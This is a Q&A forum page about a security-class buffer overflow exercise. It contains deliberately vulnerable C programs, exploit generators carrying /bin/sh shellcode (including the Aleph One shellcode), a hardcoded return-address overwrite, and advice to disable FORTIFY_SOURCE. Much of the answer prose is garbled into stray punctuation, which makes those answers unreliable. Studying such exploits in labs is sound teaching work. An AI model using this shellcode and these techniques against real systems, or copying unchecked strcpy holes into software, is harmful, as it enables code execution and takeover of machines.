Geek asks and answers

Buffer overflow like homeowrk

Continuing to study this buffer overflow material for the security class, I am trying to exploit a vulnerability in this application:

//vuln.c
#include <stdio.h>

int bof(char *str)
{
     char buffer[12];

     //BO Vulnerability
     strcpy(buffer,str);

     return 1;
}

int main(int argc, char* argv[])
{
     char str[517];

     FILE *badfile;
         badfile = fopen("badfile","r");

     fread(str, sizeof(char),517, badfile);
     bof(str);

     printf("Returned Properly\n");
     return 1;
}

Using this exploit app:

//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;


int main(int argc, char* argv[])
{
    char buffer[517];
    char large_string[512];
    FILE *badfile;
        badfile = fopen("./badfile", "w");

    //NOPslide
    memset(&buffer,0x90,517);

    //BEGIN FILL BUFFER
         //from stack_smashing.pdf
    long *long_ptr = (long *) large_string;

    int i;
    for (i = 0; i < 128; i++) 
        *(long_ptr + i) = (int) buffer;

    for (i = 100; i < strlen(code)+100; i++) 
        large_string[i] = code[i];

    strcpy(buffer,large_string);
    //END FILL BUFFER

    //save buffer to badfile
    fwrite(buffer,517,1,badfile);
    fclose(badfile);

    return 0;
}

For some reason, when I create a badfile by launching an exploit, it doesn't click anything on it. Either the buffer is empty or incorrectly written. I cannot find my mistake, and after a relentless search on Google, I could not find a sufficient answer. From my understanding of the fill buffer code that I used, it should fill the long_string with the address of my buffer, then put my shellcode at the beginning of the long_string (after some NOOP slide) and then copy the long_string back to the buffer. I really don't see any problems with this or with fwrite. Suggestions?

+5
3

, , . , ($ebp + 4). , , , , , -.

http://www.phrack.com/issues.html?issue=49&id=14

.

gdb , . , .

, . , , .

phrack, . , !

0

. , , , , , .

- .

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int foo(char *arg)
{
  char buf[200];
  strcpy(buf, arg);
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "target1: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  foo(argv[1]);
  return 0;
}

:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
    char arg1[215] = "";
    memset(arg1,'\x90', 215);
    memcpy(arg1,shellcode,45);

    //0xbffffd78
    //0xbffffcb8

    arg1[212] = '\x88';
    arg1[213] = '\xfc';
    arg1[214] = '\xff';
    arg1[215] = '\xbf';
    char *args[] = { TARGET, arg1, NULL };
    char *env[] = { NULL };

    if (0 > execve(TARGET, args, env))
        fprintf(stderr, "execve failed.\n");

    return 0;
}

, .

, . (phrack):

/*
 * Aleph One shellcode.
 */
static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

, .

strcpy(buffer,large_string);

, , big_string stdin .

0
strcpy(buffer,large_string);

One of the things that you will need to solve during testing is a function call.

FORTIFY_SOURCE uses "safe" variants of high-risk functions, such as memcpyand strcpy. The compiler uses safer options when it can determine the size of the destination buffer. If the copy exceeds the size of the destination buffer, the program calls abort().

To disable FORTIFY_SOURCE for your testing, you must compile the program with -U_FORTIFY_SOURCEor -D_FORTIFY_SOURCE=0.

0
source

More articles:


All Articles